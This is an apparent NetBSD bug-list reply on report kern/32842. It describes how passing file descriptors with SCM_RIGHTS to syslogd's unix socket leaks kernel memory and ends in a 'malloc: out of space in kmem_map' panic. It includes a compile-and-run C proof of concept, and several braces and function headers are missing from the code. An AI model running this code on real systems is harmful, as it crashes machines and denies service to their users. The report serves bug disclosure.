Subject: Re: kern/32842: SCM_RIGHTS can leak file descriptor resources
To: None <>
From: Christian Biere <>
List: netbsd-bugs
Date: 09/07/2006 04:41:32
Christian Biere wrote:
>  The patch might be incomplete but I cannot reproduce the leak
>  using my provided test case with this patch applied anymore.

I have a new simpler more aggressive testcase which works even with
my patch applied. However, this causes a different problem. So it's
relate but might not actually the same bug or it could indicate
that the proposed fix is incomplete. After a few seconds, top
shows that the process hangs in "vmmapkv". This does not cause
a file descriptor leak but rather a kernel memory leak. Some
programs like "top" can still be started but others especially
network-related ones e.g., "ping" don't work and just hang as
well. After some time a kernel panic occurs:

"panic: malloc: out of space in kmem_map"

Note, that this abuses the unix domain socket of "syslogd"
for less code.

cat <<EOF > vmmapkv.c && cc -o vmmapkv vmmapkv.c && ./vmmapkv
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>

#define ARRAY_LEN(x) (sizeof (x) / sizeof (x)[0])

static int
set_socket_address(struct sockaddr_un *sun, const char *path)
  static const struct sockaddr_un zero_sun;

  *sun = zero_sun;
  if (strlen(path) >= sizeof sun->sun_path) {
    fprintf(stderr, "sockpath is too long\n");
    return -1;
  strncpy(sun->sun_path, path, sizeof sun->sun_path);
  sun->sun_len = SUN_LEN(sun);
  sun->sun_family = AF_LOCAL;
  return 0;

static int
  int fd;

  fd = socket(PF_LOCAL, SOCK_STREAM, 0);
  if (-1 == fd) {
    perror("socket(PF_LOCAL, SOCK_STREAM, 0)");
    return -1;

    int enable = 1;
    if (0 != setsockopt(fd, 0, LOCAL_CREDS, &enable, sizeof enable)) {
      perror("setsockopt(fd, 0, LOCAL_CREDS, enable, sizeof enable)");
      return -1;

  return fd;

static int
send_msg(const int fd, const char * const dst_path,
  const struct msghdr * const msg_ptr)
  struct msghdr msg;
  struct sockaddr_un sun;

  assert(-1 != fd);
  if (set_socket_address(&sun, dst_path))
    return -1;

  msg = *msg_ptr;
  msg.msg_name = &sun;
  msg.msg_namelen = sizeof sun;
  if ((ssize_t) -1 == sendmsg(fd, &msg, 0)) {
    return -1;

  return 0;

static int
send_descriptors(const int fd, const char * const dst_path,
  const int * const fd_array, const size_t num_fds)
  static const struct cmsghdr zero_cmsg;
  static const struct msghdr zero_msg;
  static struct iovec iov[1];
  struct msghdr msg;
  struct cmsghdr *cmsg;
  size_t data_size;

  assert(-1 != fd);

  data_size = num_fds * sizeof fd_array[0];

  cmsg = malloc(CMSG_SPACE(data_size));
  if (!cmsg) {
    return -1;

  *cmsg = zero_cmsg;
  cmsg->cmsg_len = CMSG_LEN(data_size);
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;

  memcpy((char *) cmsg + CMSG_LEN(0), fd_array, data_size);

  msg = zero_msg;
  msg.msg_iov = iov;
  msg.msg_iovlen = ARRAY_LEN(iov);
  msg.msg_control = cmsg;
  msg.msg_controllen = CMSG_LEN(data_size);

  return send_msg(fd, dst_path, &msg);

static int
run_server(const char *path)
  int s;

  s = create_new_socket();
  if (-1 == s)
    return -1;

  for (;;) {
    int fd = dup(STDOUT_FILENO);
    send_descriptors(s, path, &fd, 1);

  return 0;

static const char server_path[] = "/var/run/log";

  if (0 != run_server(server_path))

  return 0;

/* vi: set ai et ts=2 sts=2 sw=2 cindent: */